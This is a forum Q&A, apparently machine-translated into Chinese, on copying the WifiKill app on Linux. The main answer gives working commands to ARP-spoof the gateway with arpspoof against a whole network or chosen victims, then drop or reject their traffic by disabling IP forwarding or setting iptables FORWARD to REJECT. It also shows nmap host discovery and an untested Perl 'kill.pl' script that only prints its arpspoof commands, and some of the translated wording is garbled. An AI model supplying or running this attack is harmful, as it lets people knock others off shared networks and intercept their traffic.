一款类似于 Android 中 Wifikill 的 PC 应用程序

一款类似于 Android 中 Wifikill 的 PC 应用程序

有没有类似于 WifiKill Android 应用程序的程序(最好是 Linux)?

答案1

WifiKill嗯,Android 是 Linux,因此你可以在 Linux 电脑上复制 ponury 的操作

WifiKill做两件事:

  1. 它伪装成网关,因此受害者会将数据包发送到手机,而不是发送到网关
  2. 它会关闭数据包转发。因此,受害者会将所有数据包发送到您的计算机,然后您的计算机会丢弃这些数据包

要进行伪装,您需要 ARP 欺骗。您可以使用arpspoof以下命令嗅探

  1. 首先,您必须知道网关的 IP。route -n在终端中运行并从那里获取网关的 IP。在最常见的情况下(您仅连接到无线网络),网关将是带有 Destination 的条目0.0.0.0。您可以使用它route -n|grep ^0.0.0.0|cut -d' ' -f 10来获取默认网关的 IP
  2. 然后,使用arpspoof伪装成网关。arpspoof $IP如果要杀死除您之外的整个网络,请以 root 身份运行;arpspoof -t $VICTIM_IP $IP如果要仅杀死某些主机,请针对每个受害者运行

现在你伪装成网络网关。受害者发送的所有数据包都会发送到你的计算机。现在你必须关闭数据包转发。为此,请echo -n 0 > /proc/sys/net/ipv?/ip_forward以 root 身份运行。这将丢弃受害者发送的所有数据包

距离我上次使用已经过去了很长时间WifiKill,但我记得它有一个选项可以拒绝数据包而不是丢弃它们 [拒绝会导致人们立即出现连接错误,丢弃会导致所有连接超时]。要做到这一点,你必须:

  1. 使能够echo -n 1 > /proc/sys/net/ipv?/ip_forward以 root身份运行数据包转发
  2. netfilter将的默认 FORWARD 策略设置为 REJECT。运行iptables -P FORWARD REJECT。当然,您可以使用iptables任意复杂的防火墙规则

WifiKill还列出了在线主机。要在 Linux 中执行此操作,您可以使用nmapping 给定范围内的主机。例如,如果您想找出范围内哪些主机在线,您192.168.1.1可以192.168.1.254运行nmap -sP 192.168.1.1-254。虽然这不会列出具有“隐形”防火墙的计算机,但如果您杀死网络上的所有人或知道他们的确切 IP,您仍然可以杀死这些计算机

可能有一个程序正在执行我上面列出的操作,但对于常见情况,您可以编写一个脚本:

#!/usr/bin/perl -w
#This is untested code. Compiling works, but I haven't tested anything more
my $gw=`route -n|grep ^0.0.0.0|cut -d' ' -f 10`;
if (@ARGV) {
  print "arpspoof -t $_ $gw &" for (@ARGV);
} else {
  print "arpspoof $gw &";
}
system "echo 0 > $_" for(</proc/sys/net/ipv?/ip_forward>);

将其保存为,kill.pl然后将其命名为./kill.pl $IP1 $IP2 ... $IPn杀死$IP1,,$IP2...,$IPn或命名./kill.pl为杀死所有主机

答案2

Windows 版 Netcut 可以执行类似的任务。

相关内容